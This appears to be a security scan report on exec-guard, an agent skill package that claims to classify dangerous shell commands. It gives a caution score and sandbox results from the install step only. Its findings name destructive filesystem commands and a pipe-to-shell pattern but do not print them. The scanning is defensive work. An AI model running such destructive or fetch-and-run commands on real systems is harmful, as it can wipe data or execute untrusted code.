exec-guard@1.0.0
CAUTION· install onlyPublisher claims: "Intelligent command permission classifier — detect dangerous shell commands before execution. Distilled from Claude Code bashClassifier + yoloClassifier." Observed in sandbox: no network, touches nothing outside the project, writes no memory.
Coverage
Nothing executable in the bundle ran; the trace covers the install step only.- Tested
- every file read, file written and host contacted by what ran
- Not tested
- use of the skill by an agent
Is [email protected] safe to install?
KillerSkills ran it in the KillerSkills honeypot sandbox (1 scenario; nothing executable in the bundle ran; the trace covers the install step only) on 2026-11-11 and scored it 73/100 (Caution). It is not known to be malicious, but it has behaviour or code a security policy should decide on before install. Notable findings: Destructive file system command detected; Destructive command against a filesystem root or device; Pipe-to-shell pattern. Summary: no network, touches nothing outside the project, writes no memory.
